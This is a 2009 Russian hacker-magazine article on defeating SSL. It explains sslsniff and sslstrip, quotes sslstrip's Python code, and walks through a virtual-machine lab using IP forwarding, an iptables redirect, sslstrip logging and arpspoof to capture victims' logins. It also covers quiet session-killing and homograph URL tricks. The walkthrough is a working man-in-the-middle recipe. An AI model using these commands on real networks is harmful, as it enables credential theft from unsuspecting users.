Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English  
Хакер ищет продавцов рекламы Хакер ищет продавцов рекламы
Xakep.ru приглашает стажеров на должность менеджера по работе с клиентами. Резюме присылать по адресу hr@glc.ru....
Анатомия Cryptolocker Анатомия Cryptolocker
Он прост, как автомат Калашникова, но реально опасен. Ведь это он заставил тысячи незадачливых пользователей платить деньги своим создателям и ухитрился поставить на бабки сотрудников полиции Массачусетса (им пришлось покупать биткоины, чтобы расшифровать свои данные)!...

Хакер № 05/09 (125)

Вскрываем SSL. Перехват данных в защищенных соединениях

Антон Жуков (antitster@gmail.com)


Используя мейл, админку или систему электронного банкинга для управления своим счетом, мы полностью доверяемся серверу. Если все данные передаются по защищенному SSL-соединению - о чем радужно сообщает браузер - то и бояться вроде бы нечего. Но так ли это на самом деле?

Простая истина: передавать данные в открытом виде – небезопасно. В этом случае они легко могут стать добычей злоумышленника, которому не составит труда перехватить, модифицировать и даже подменить их. Вот почему логины и пароли, а также другие конфиденциальные данные по обычному HTTP не передаются. Вместо этого используется защищенный HTTPS, который работает медленнее, но зато упаковывает данные в криптографический протокол SSL – и те передаются уже в зашифрованном виде.

Как устроен SSL?

Алгоритм работы SSL построен на использовании пары асимметричных ключей. Открытый ключ раздается всем желающим, и с его помощью шифруются необходимые данные, которые далее можно дешифровать только с помощью закрытого ключа (он есть на сервере). Открытый ключ предоставляется сервером клиенту, причем выдается в составе сертификата (подписывается третьей уполномоченной стороной – так называемым центром сертификации: certificate authority – CA). В любой сертификат входят следующие поля:

  • полное (уникальное) имя владельца сертификата
  • открытый ключ владельца
  • дата выдачи цифрового сертификата
  • дата окончания действия сертификата
  • полное (уникальное) имя издателя (источника сертификата)
  • цифровая подпись издателя

Существует несколько видов сертификатов. Чтобы удостовериться в подлинности конкретного сайта, используется специально выписанный для него сертификат (Site Certificate). Для проверки подлинности таких сертификатов в свою очередь существуют сертификаты центра сертификации (CA Certificate); они обладают максимальным доверием и встраиваются непосредственно в браузер (их также называют корневыми – Root CA). Помимо этого, существуют промежуточные сертификаты (Intermediate CA), которые также используются для подписи Site Certificate, однако, в отличие от CA Certificate, не гарантируют легитимность сайта и не встраиваются в браузер. Получается, что в самом простом случае вся цепочка состоит из следующих звеньев: «CA Certificate - Intermediate CA - Site Certificate», однако промежуточных сертификатов может быть больше. Так или иначе, проверка подлинности сайта осуществляется с помощью простой рекурсивной процедуры:

  • сначала проверяется, чтобы крайний в цепочке сертификат был выписан на имя сайта, к которому идет обращение;
  • проверяется, не просрочен ли сертификат;
  • в конце проверяется подпись, с помощью которой он подписан.

Подпись может принадлежать или корневому сертификату, и это значит, что сертификату можно 100% доверять, или же некоторому промежуточному сертификату. В последнем случае необходимо подняться на уровень выше и выполнить проверку еще раз – и так до тех пор, пока не будет найдена подпись корневого сертификата. Или не будет, что означает: удостоверить в подлинности сайта невозможно.

Sslsniff, или как все начиналось

Представим такую картину: у нас есть сертификат для нашего сайта xakep.ru; он является последним звеном в цепочке «Root CA - Intermediate CA - Intermediate CA - xakep.ru». Почему бы не попробовать сделать сертификат сайта промежуточным и не подписать с его помощью другой ресурс, например, paypal.com? Все условия проверки для цепочки (Root CA - Intermediate CA - Intermediate CA - xakep.ru - paypal.com) при этом останутся выполненными:

  • подписи всех сертификатов действительны;
  • ни один сертификат не просрочен;
  • корневой сертификат встроен в браузер и обладает полным доверием.

Тут одна лишь загвоздка: как же мы выдадим сертификат?

У каждого сертификата есть неприметное поле Basic Constraints, которое определяет, принадлежит ли он центру сертификации или нет. Что удивительно, далеко не все центры ранее выставляли ему значение CA=FALSE[S1]. Более того, большинство браузеров даже не утруждались проверкой значения этого поля. Получается, имея на руках действительный сертификат, можно было создать и подписать сертификат для любого другого домена – и браузеры бы даже не заподозрили неладное!
Несмотря на многочисленные заявления, что эксплуатировать это невозможно, разработчик Moxie Marlinspike опубликовал рабочую утилиту sslsniff, которая реализовывала простую атаку MITM (Man in the middle), перехватывая весь трафик. Смысл сводился к следующему:

  • прога перехватывала клиентские запросы на соединение с защищенным HTTPS-сайтом;
  • сама создавала сертификат для сайта, к которому коннектится клиент, и подписывала его с помощью уже имеющегося сертификата;
  • со своей стороны устанавливала обычное HTTPS-соединение с нужным сервером и выступала своеобразной проксей, снифая весь трафик.

Все, что требовалась для работы – это предоставить sslsniff действительный сертификат. К сожалению, с 2002-го, когда была опубликована утилита, браузеры стали умнее и такой проверкой больше не пренебрегают. Увы, такой способ нам уже не поможет!

Продолжение истории - Sslstrip

Чтобы разобраться с другим способом, вспомни, как мы обычно попадаем на защищенные страницы. Допустим, ты захотел проверить свой почтовый ящик Gmail. Просто набираешь в адресной строке mail.google.com и попадаешь на защищенную страницу авторизации. Никто не набирает http://, а уж тем более https://. Получается, что пользователь попадает на защищенную страницу двумя путями: кликая на ссылки/кнопки или через редиректы. Переход на защищенные ресурсы осуществляется посредством обычного http-протокола, а его, как я уже говорил, легко перехватить.

Да, липовый сертификат «на лету» создать не выйдет. Так, может, обойдемся вовсе без сертификата? Зачем его создавать, если есть шанс перехватить запрос на защищенное соединение с сервером и заставить пользователя общаться с нами по самому обычному HTTP? Именно эта идея и легла в основу программы sslstrip, которую на недавней конференции Black Hat DC 2009 представил все тот же хакер Moxie Marlinspike.

Предлагаю рассмотреть ее более подробно. Помимо описания, я буду приводить небольшие отрывки исходников на Python'е. В основе, опять же, лежит принцип MITM, позволяющий вклиниться между сервером и клиентом, просматривая проходящий HTTP-трафик. В каждой перехваченной ссылке на защищенной ресурс выполняется замена «https://» на «http://», а исходная и измененная URL заносятся в таблицу соответствия.

def replaceSecureLinks(self, data):
data = DataShuffler.replaceSecureLinks(self, data)
data = self.replaceSecureCookies(data)
data = self.replaceCssLinks(data)
data = self.replaceSecureFavicon(data)
iterator = re.finditer(self.linkExpression, data, re.IGNORECASE)

for match in iterator:
link = match.group(9)

if not link.startswith('http'):
logging.debug("Found relative link in secure transmission: " + link)

absoluteLink = "http://"+self.serverHost+link
absoluteLink = absoluteLink.replace('&', '&')
self.secureLinkListener.addLink(absoluteLink);

return data

Как только клиент посылает запрос на соединение с защищенным URL, мы подсовываем ему липовую ссылку, а сами, тем временем, устанавливаем настоящее HTTPS-соединение, выполняя запрос от своего имени. Получив ответ от сервера и опять выполнив замены в линках, отдаем контент пользователю по обычному HTTP-соединению.
В результате получается замечательная картинка. Серверу, отдающему весь контент по защищенному каналу, нет никакого дела, от кого приходит подключение, а клиент не получает никаких предупреждений и даже не подозревает, что использует незащищенное соединение. А мы? А мы перехватываем весь трафик. :)

Несколько уловок

Чтобы еще больше создать иллюзию, что все безопасно, будем отслеживать запросы favicon (это иконка, отображающаяся в адресной строке браузера непосредственно перед адресом). И когда получаем такой запрос для защищенного соединения, то подсовываем иконку с замочком, которая в обычной ситуации указывает на то, что соединение осуществляется по безопасному каналу.

def replaceSecureFavicon(self, data):
iterator = re.finditer(self.iconExpression, data, re.IGNORECASE)

for match in iterator:
link = match.group(1)
link.replace('http://', 'https://')

if not link.startswith('http://'):
link = 'http://' + self.serverHost + link

self.secureLinkListener.addSecureFavicon(link)
self.secureLinkListener.addLink(link)

return data

Проблемы могут возникнуть:

  • с компрессированным контентом, который сложно парсить;
  • с безопасными кукисами, которые не передают по незащищенному соединению;
  • с банально закешированными страницами, в которых мы не можем сделать замену.

Как быть?

В кукисах нам потребуется убирать security bit в поле в Set-Cookie, чтобы плюшки стали передаваться по обычному HTTP. От сжатия контента придется отказаться, удалив в хедерах HTML параметр content encodings (отключаем сжатие), а также if-modified-since (принудительно заставляем сервер отдавать страницу, даже если на ней не было изменений).

Другая проблема – сессии. Пропуская этап авторизации, мы можем остаться без логина и пароля. Решение следующее: сессию тоже надо убивать, но нужна осторожность, чтобы не вызвать подозрений. Сессии имеют свойство истекать (заканчиваться), причем не всегда ясно, когда это произойдет. Одно можно сказать почти наверняка: они не истекают посреди активной работы. Поэтому сразу после начала MITM-атаки начинаем модифицировать трафик, проходящий через нас, но не трогаем Cookies в течение какого-то промежутка времени (например, 5 минут). Ждем эти 5 минут, и запоминаем все сессии, которые видели за это время. Если после 5 минут появляется какая-то новая, то получается, она уже долго работает и, если мы ее прибьем, то подозрений это, скорее всего, не вызовет. Вот, в общем-то, и все секреты успеха.

Испытаем sslstrip в деле

Но довольно лирики. Посмотрим, реально ли утащить чьи-нибудь логины и пароли. Опыты мы будем проводить на виртуальных машинах. Итак, у нас есть небольшая локальная сеть, состоящая из машины жертвы (192.168.1.3), нашей машины (192.168.1.5) и машины, служащей шлюзом в интернет (192.168.1.1). Теперь подготовим плацдарм для атаки. В качестве ОС на своей машине будем использовать популярный дистрибутив BackTrack3 (все то же самое можно проделать и под Виндой, поставив все необходимые программы и настроив систему, но зачем делать лишнюю работу, если кто-то уже сделал ее за тебя?). Итак, загружаем систему и устанавливаем sslstrip:

#bt python setup.py install

В принципе, можно даже не устанавливать, а запускать sslstrip сразу:

#bt python ./sslstrip.py -h - покажет список параметров.

Чтобы все заработало, нам нужно немножко подконфигурировать систему. Сперва включим на машине режим перенаправления пакетов (forwarding mode). Делается это следующей командой:

#bt echo "1" > /proc/sys/net/ipv4/ip_forward

Затем настроим iptables для перенаправления http-трафика:

#bt iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>

где <yourListenPort> - порт, которых будет слушать sslstrip, установим его в 8080, например.

Теперь можно запустить и сам sslstrip:

#bt sslstrip -a -l 8080 -w /root/log.txt

Параметр '-a' означает, что мы будем логировать, весь проходящий http-трафик, '-l' указывает порт, который будем слушать, а '-w' задает путь к лог-файлу. Остался последний штрих - необходимо заставить жертву поверить, что мы и есть тот самый шлюз в интернет. Провернем это с помощью утилитки arpspoof:

arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>
<yourNetworkdDevice> - имя нашей сетевой карты (в нашем случае eth0),
<yourTarget> - адрес жертвы,
<theRoutersIpAddress> - адрес шлюза
#bt arpspoof -i eth0 -t 192.168.1.3 192.168.1.1

Дождись, пока жертва полезет в инет, и проверяй логи, пример которых можешь увидеть на скрине. Все замечательно работает!

Нулевая безопасность

Как видишь, безопасность SSL можно свести до нуля и превратить защищенное соединение в незащищенное, добавив на участке до пользователя коннект по обычному http-протоколу. Узнав, насколько это просто реализовать, думаю, ты с особой внимательностью будешь относиться к сообщениям браузера об использовании защищенного соединения и посматривать на адресную строку. Ни в коем случае не воспринимай статью, как побуждение к действию! Она лишь призвана показать основные ошибки SSL и HTTP.

Немного статистики

Moxie Marlinspike запустил sslstrip на tor узле и за 24 часа словил нехилый урожай:

  • login.yahoo.com - 114
  • Gmain - 50
  • ticketmaster.com - 42
  • rapidshare.com - 14
  • Hotmail - 13
  • paypal.com - 9
  • linkedin.com -9
  • facebook.com - 3

Хитрости URL

Технику sslstrip вполне реально совместить с так называемыми омографическими атаками. Это атаки, при которых создается схожее имя домена с использованием букв алфавита другого языка – с целью ввести пользователей в заблуждение и создать впечатление, что они переходят на разрешенный веб-сайт.
В 2005-м Eric Johanson зарегистрировал доменное имя p&#1072;ypal.com, которое использует 'a' из кириллицы и выглядит как paypal.com. Что нас не устраивает в такой атаке? Ну, во-первых, она ориентирована на один конкретный сайт, что ограничивает радиус действия. А во-вторых, браузеры научились правильно отображать IDN (Internationalized Domain Names — Интернационализованные Доменные Имена) и добавляют к имени так называемый Punycode - префикс «xn--». Фальшивый paypal.com преобразуется в http://xn--pypal-4ve.com.

Итак, мы не можем использовать .com или любой другой домен первого уровня, ибо браузеры добавят к нему Punycode. Прикинем, какие символы чаще всего встречаются в URL[S2]? Правильно: «. / & ?». Давай этим воспользуемся. Зарегистрируем домен ijjk.cn и получим сертификат для *.ijjk.cn. А потом применим старый трюк с буковками из другого алфавита, очень похожими на / и ? для создания фальшивых URL'ок. Снова запускаем sslsniff, только на этот раз, вместо подмены https на http, будем подменять URL на свои липовые поддомены. Так, https://www.gmail.com/accounts/ServiceLogin становится https://www.google.com/accounts/ServiceLogin?!f.ijjk=. Никакого Punycode в последней ссылке не наблюдается. Плюс ко всему, мы обладаем действительным сертификатом для данного домена. Заметить разницу практически невозможно.

WWW

DVD

Все упомянутые в статье утилиты ты найдешь на нашем DVD-приложении.

VIDEO

На диске ищи небольшую демонстрацию возможностей sslstrip.

WARNING

Если верить разработчику sslsniff Moxie Marlinspike, – некоторые браузеры по-прежнему не утруждают себя проверкой поля Basic Constraints.

Вся информация представлена исключительно в ознакомительных целях. В случае использования ее в противозаконных целях ни автор, ни редакция ответственности не несут.

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

На седьмом небе с Windows Se7en
В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...

Во власти гипервизора
В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...

Вскрываем SSL
То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...





Предыдущие номера


Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни редакция не несут ответственности в случае ее использования в противозаконных целях.

    Rambler's Top100